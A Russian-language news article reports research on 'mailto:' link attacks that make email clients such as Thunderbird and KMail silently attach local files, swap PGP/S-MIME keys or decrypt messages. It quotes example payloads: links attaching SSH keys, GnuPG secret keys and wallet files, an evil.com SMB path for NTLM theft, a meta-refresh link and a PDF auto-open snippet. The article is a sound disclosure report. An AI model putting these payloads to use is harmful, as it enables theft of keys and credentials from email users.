Атака на пользователей почтовых клиентов при помощи ссылок mailto
19 августа 2020 года
Исследователи из Рурского университета в Бохуме (Германия) проанализировали (PDF) поведение почтовых клиентов при обработке ссылок "mailto:" с расширенными параметрами. Пять из двадцати рассмотренных почтовых клиентов оказались уязвимы для атаки, манипулирующей подстановкой ресурсов при помощи параметра "attach". Ещё шесть почтовых клиентов были подвержены атаке по замене ключей PGP и S/MIME, а три клиента оказались уязвимы для атаки по извлечению содержимого зашифрованных сообщений.
Ссылки "mailto:" применяются для автоматизации открытия почтового клиента с целью написания письма заданному в ссылке адресату. Кроме адреса в составе ссылки можно указать дополнительные параметры, такие как тема письма и шаблон типового содержимого. Предложенная атака манипулирует параметром "attach", позволяющем прикрепить к создаваемому письму вложение.
Почтовые клиенты Thunderbird, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089) и Pegasus Mail оказались уязвимы тривиальной атаке, позволяющей автоматически прикрепить любой локальный файл, указанный через ссылку вида "mailto:?attach=путь_к_файлу". Файл прикрепляется без вывода предупреждения, поэтому без специального акцентирования внимания пользователь может не заметить, что письмо будет отправлено с прикреплением вложением.
Например, при помощи ссылки вида "mailto:?to=user@example.com&subject=Title&body=Text&attach=~/.gnupg/secring.gpg" можно подставить в письмо закрытые ключи от GnuPG. Также можно отправить содержимое криптокошельков (~/.bitcoin/wallet.dat), SSH-ключи (~/.ssh/id_rsa) и любые доступные пользователю файлы. Более того, Thunderbird позволяет прикреплять группы файлов по маске при помощи конструкций вида "attach=/tmp/*.txt".
Кроме локальных файлов некоторые почтовые клиенты обрабатывают ссылки на сетевые хранилища и пути в IMAP-сервере. В частности, IBM Notes позволяет передать файл из сетевого каталога при обработке ссылок вида "attach=\\evil.com\dummyfile", а также перехватить параметры аутентификации NTLM направив ссылку на SMB-сервер, подконтрольный атакующему (запрос будет отправлен с текущими параметрами аутентификации пользователя).
Thunderbird успешно обрабатывает запросы вида "attach=imap:///fetch>UID>/INBOX>1/", позволяющие прикрепить содержимое из папок на IMAP-сервере. При этом извлекаемые из IMAP письма, зашифрованные через OpenPGP и S/MIME, автоматически расшифровываются Thunderbird перед отправкой. Разработчики Thunderbird были уведомлены о проблеме в феврале и в ветке Thunderbird 78 проблема решена (ветки Thunderbird 52, 60 и 68 остаются уязвимыми).
Старые версии Thunderbird оказались уязвимы и для двух других вариантов атаки на PGP и S/MIME, предложенных исследователями. В частности, к Thunderbird, а также к OutLook, PostBox, eM Client, MailMate и R2Mail2 оказалась применима атака по замене ключей, вызванная тем, что почтовый клиент автоматически импортирует и устанавливает новые сертификаты, передаваемые в сообщениях S/MIME, что позволяет атакующему организовать подмену уже сохранённых у пользователя открытых ключей.
Вторая атака, которой подвержены Thunderbird, PostBox и MailMate, манипулирует особенностями механизма автосохранения черновиков сообщений и позволяет при помощи параметров mailto инициировать расшифровку зашифрованных сообщений или добавление цифровой подписи для произвольных сообщений, с последующей передачей результата на IMAP-сервер атакующего. Шифротекст при данной атаке передаётся через парметр "body", а для инициирования обращения к IMAP-серверу атакующего применяется тег "meta refresh". Например: '<meta http-equiv="refresh" content="60; URL=mailto:?body=-----BEGIN PGP MESSAGE-----[...]-----END PGP MESSAGE-----">'
Для автоматической обработки ссылок "mailto:" без участия пользователя могут применяться специально оформленные документы PDF - действие OpenAction в PDF позволяет автоматически запустить обработчик mailto при открытии документа: %PDF-1.5 1 0 obj << /Type /Catalog /OpenAction [2 0 R] >> endobj 2 0 obj << /Type /Action /S /URI/URI (mailto:?body=-----BEGIN PGP MESSAGE-----[...])>> endobj
Источники
правитьЛюбой участник может оформить статью: добавить иллюстрации, викифицировать, заполнить шаблоны и добавить категории.
Любой редактор может снять этот шаблон после оформления и проверки.
Комментарии
Если вы хотите сообщить о проблеме в статье (например, фактическая ошибка и т. д.), пожалуйста, используйте обычную страницу обсуждения.
Комментарии на этой странице могут не соответствовать политике нейтральной точки зрения, однако, пожалуйста, придерживайтесь темы и попытайтесь избежать брани, оскорбительных или подстрекательных комментариев. Попробуйте написать такие комментарии, которые заставят задуматься, будут проницательными или спорными. Цивилизованная дискуссия и вежливый спор делают страницу комментариев дружелюбным местом. Пожалуйста, подумайте об этом.
Несколько советов по оформлению реплик:
- Новые темы начинайте, пожалуйста, снизу.
- Используйте символ звёздочки «*» в начале строки для начала новой темы. Далее пишите свой текст.
- Для ответа в начале строки укажите на одну звёздочку больше, чем в предыдущей реплике.
- Пожалуйста, подписывайте все свои сообщения, используя четыре тильды (~~~~). При предварительном просмотре и сохранении они будут автоматически заменены на ваше имя и дату.
Обращаем ваше внимание, что комментарии не предназначены для размещения ссылок на внешние ресурсы не по теме статьи, которые могут быть удалены или скрыты любым участником. Тем не менее, на странице комментариев вы можете сообщить о статьях в СМИ, которые ссылаются на эту заметку, а также о её обсуждении на сторонних ресурсах.